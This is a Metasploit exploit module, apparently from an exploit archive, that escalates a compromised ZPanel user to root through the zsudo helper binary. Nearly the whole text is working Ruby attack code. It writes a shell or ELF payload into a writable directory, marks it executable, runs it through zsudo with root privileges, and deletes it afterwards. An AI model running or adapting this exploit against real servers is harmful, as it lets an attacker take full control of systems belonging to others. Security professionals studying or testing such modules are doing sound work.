ZPanel zsudo Local Privilege Escalation Exploit

:
27.06.2013
:
ZPanel
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/exe'


class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common

def initialize(info={})
super( update_info( info, {
'Name' => 'ZPanel zsudo Local Privilege Escalation Exploit',
'Description' => %q{
This module abuses the zsudo binary, installed with zpanel, to escalate
privileges. In order to work, a session with access to zsudo on the sudoers
configuration is needed. This module is useful for post exploitation of ZPanel
vulnerabilities, where typically web server privileges are acquired, and this
user is allowed to execute zsudo on the sudoers file.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r', 'juan vazquez' ],
'DisclosureDate' => 'Jun 07 2013',
'Platform' => [ 'unix', 'linux'],
'Arch' => [ ARCH_CMD, ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Command payload', { 'Arch' => ARCH_CMD } ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0,
}
))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ]),
], self.class)
end

def check
if file?(datastore["zsudo"])
return CheckCode::Detected
end

return CheckCode::Unknown
end

def exploit
if (target.arch.include? ARCH_CMD)
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.sh"
# Using this way of writing the payload to avoid issues when failing to find
# a command on the victim for writing binary data
cmd_exec "echo \"#{payload.encoded.gsub(/"/, "\\\"")}\" > #{exe_file}"
else
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
write_file(exe_file, generate_payload_exe)
end

cmd_exec "chmod +x #{exe_file}"

print_status("Running...")

begin
cmd_exec "#{datastore["zsudo"]} #{exe_file} #{rand_text_alpha(3 + rand(5))}"
ensure
cmd_exec "rm -f #{exe_file}"
end

end
end